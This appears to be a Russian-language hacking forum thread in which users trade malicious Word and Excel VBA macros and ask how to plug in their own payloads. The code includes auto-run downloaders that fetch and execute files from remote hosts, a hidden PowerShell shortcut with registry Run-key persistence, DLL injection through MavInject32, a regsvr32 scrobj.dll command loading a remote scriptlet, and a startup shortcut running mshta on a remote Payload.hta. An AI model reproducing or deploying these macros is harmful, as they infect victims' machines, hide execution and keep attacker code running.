J
Johny
Гость
Последнее редактирование:
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/0.68/w64/putty.exe", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "putty.exe", 2 '//overwrite
End With
Shell ("putty.exe")
End Sub
Private Sub Workbook_activate()
Dim shp As Shape
For Each shp In ActiveSheet.Shapes
shp.Delete
Next shp
End Sub
Private Sub Workbook_Deactivate()
Set oWsh = CreateObject("WScript.Shell") ' preparing WScript.Shell to use it to create a shorcut.
sShortcut = oWsh.SpecialFolders("Desktop") + "\My Shortcut Name.lnk" ' our shortcut directory must be in desktop.
Set oShortcut = oWsh.CreateShortcut(sShortcut) 'creating the shorcut.
With oShortcut
.TargetPath = "Powershell.exe" ' the short cut target will be Powershell.
.Arguments = "ضع البور شل اتاك" 'My Powershell attack.
.Hotkey = "Ctrl+o" ' adding a hotkey to use to execute the attack.
.WindowStyle = 7 ' Window style hidden
.Save ' save
End With
Set joy = CreateObject("scripting.filesystemobject") ' preparing to use scripting.filesystemobject.
Application.SendKeys "^{o}" ' executing the attack.
Application.Wait (Now + TimeValue("0:00:2"))
joy.MoveFile Source:=sShortcut, Destination:=Environ("AppData") + "\" ' using scripting.filesystemobject we will move the shortcut from Desktop after executing it to %appdata%.
oWsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Hackitup", Environ("AppData") + "\My Shortcut Name.lnk" ' adding to startup using registry.
End Sub
'CODED BY Hackitup
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long ' Declare the API needed to get the process ID
Private Declare Function WinExec Lib "kernel32.dll" ( _
ByVal lpCmdLine As String, _
ByVal nCmdShow As Long) As Long ' WinExecu to run command
Private Sub Workbook_activate()
Worksheets("sheet1").OLEObjects.Item(1).Copy ' copying the dll from the sheet to clipboard.
CreateObject("Shell.Application") _
.Namespace(ActiveWorkbook.Path) _
.Self.InvokeVerb "Paste" ' pasting the copied file to disk (in the same path of the Excel book, you can change it to any file u desire.)
Application.Wait (Now + TimeValue("0:00:2"))
ID = CStr(GetCurrentProcessId) ' get the process ID as string
Application.Wait (Now + TimeValue("0:00:2"))
WinExec "C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" + Space(1) + ID + Space(1) + "/INJECTRUNNING" + Space(1) + """" + ActiveWorkbook.Path + "\hello-world.dll" + """", 1 ' execute the injection using MavInject32.exe utility
End Sub
Sub AutoOpen()
Application.ScreenUpdating = False
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "%%URL%%", False
xHttp.Send
Dim j As String
j = Environ("AppDATA")
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile j & "\System.exe", 2 '//overwrite
End With
Shell (j & "\System.exe")
Application.ScreenUpdating = True
End Sub
нет вот скачиваешь тыц в нем ставишь свою ссылку у же,сам .server.sct также заливаешь на хостинг и ставишь в команду вышеPURGE написал(а):\..\..\..\windows\system32\cmd.exe /c regsvr32 /u /n /s /i:http://127.0.0.1/server.sct scrobj.dll
Что здесь подменяется на наш исполняемый файл? http://127.0.0.1/server.sct ?
И что такое scrobj.dll ?
Просто смущают расширения
Private Sub Document_Open()
Set wshell = CreateObject("WScript.Shell")
Dim path
path = wshell.SpecialFolders("Startup") & "\Xrahitel.lnk"
Set shortcut = wshell.CreateShortcut(path)
shortcut.Arguments = "https://diskcitylink.pro/aeZMNlW/Payload.hta"
shortcut.TargetPath = "mshta.exe"
shortcut.WorkingDirectory = "%currentdir%"
shortcut.WindowStyle = 1
shortcut.IconLocation = "ПУТЬ_К_ИКОНКЕ"
shortcut.Description = "Описание ярлыка"
shortcut.Save
' ... ваш код ...
End Sub


